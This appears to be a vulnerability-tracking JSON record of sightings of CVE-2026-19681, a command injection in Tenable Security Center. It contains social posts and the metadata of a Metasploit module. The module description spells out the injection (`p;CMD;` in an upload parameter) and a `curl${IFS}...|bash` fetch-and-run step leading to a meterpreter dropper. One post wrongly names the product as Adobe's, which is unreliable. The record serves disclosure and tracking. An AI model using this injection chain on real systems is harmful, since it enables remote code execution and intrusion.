{"vulnerability": "cve-2026-19681", "sightings": [{"uuid": "b510cddf-05d5-4116-8b95-92231bf35590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2tqtsflm25", "content": "CVE-2026-19681 - security center\nAdobe Security Center has a vulnerability that allows attackers to execute arbitrary commands on the system if a malicious file is uploaded. This could potentially\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#securitycenter #tenable #CVE #infosec", "creation_timestamp": "2026-08-14T19:00:04.661935Z"}, {"uuid": "5585aa18-5759-41cd-b1eb-44789290d959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mticxxpnfw2y", "content": "\ud83d\udccc CVE-2026-19681 - An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by ... https://www.cyberhub.blog/cves/CVE-2026-19681", "creation_timestamp": "2026-08-20T03:37:06.443381Z"}, {"uuid": "1d06e7ed-2c80-402b-bbd8-b54e2eec3016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Tenable Security Center prior to 6.9.0 allows an authenticated user to\\n          achieve command execution as the web service account (tns) via the SCAP\\n          audit file upload flow.\\n\\n          Filesystem::saveTmp() builds staged upload filenames from the raw\\n          client-supplied `context` form parameter (tempnam prefix), which is not\\n          charset-validated. Referencing that staged file in a\\n          POST /rest/auditFile (type=scapLinux, version=1.2) request reaches\\n          AuditFileLib::addSCAPTailoringFile(), where the zip repack command\\n          interpolates the derived path unescaped:\\n\\n          exec(\\\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\\\");\\n\\n          basename() strips '/' but not shell metacharacters, so a context like\\n          `p;CMD;` executes CMD through /bin/sh.\\n\\n          Constraints (measured on 6.7.2): the staged-name prefix survives only\\n          ~50 characters of context and may not contain '/' (saveTmp() applies\\n          basename()). This module therefore serves the payload over HTTP and\\n          injects only `curl${IFS}:|bash` (a bare host:port\\n          GETs / and bash reads the served script from stdin). The served script\\n          itself has no such limits, which the Linux Dropper target exploits\\n          with a fetch payload (cmd/linux/http/...) that downloads and execs a\\n          full native payload (e.g. x64 meterpreter) from the payload adapter's\\n          own listener on FETCH_SRVPORT.\\n\\n          Tested against SecurityCenter 6.7.2-14 on RHEL9.\", \"disclosure_date\": \"2026-08-13\", \"fullname\": \"exploit/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"is_install_path\": true, \"mod_time\": \"2026-08-24 14:35:43 +0000\", \"name\": \"Tenable Security Center SCAP Audit File Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681\", \"references\": [\"CVE-2026-19681\", \"URL-https://www.tenable.com/security/tns-2026-22\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Unix Command\", \"Linux Dropper\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:57.808639Z"}, {"uuid": "6a0b907d-65ff-44b6-926e-37c97047ac81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-19681", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvtjopdors2x", "content": "\u300cTenable Security Center\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\nTenable\u306e\u8106\u5f31\u6027\u7ba1\u7406\u88fd\u54c1\u300cSecurity Center\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3002\u91cd\u8981\u5ea6\u304c\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u3082\u8907\u6570\u542b\u307e\u308c\u308b\u3002\n\n...\n\n\u88fd\u54c1\u56fa\u6709\u306e\u8106\u5f31\u6027\u3092\u898b\u308b\u3068\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u300cCVE-2026-19626\u300d\u3001OS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u300cCVE-2026-19681\u300d\u300cCVE-2026-19682\u300d\u306e3\u4ef6\u306b\u3064\u3044\u3066\u306f\u3001\u91cd\u8981\u5ea6\u304c4\u6bb5\u968e\u4e2d\u3082\u3063\u3068\u3082\u9ad8\u3044\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08Critical\uff09\u300d\u3068\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u3055\u308c\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-09-19T01:26:52.447846Z"}]}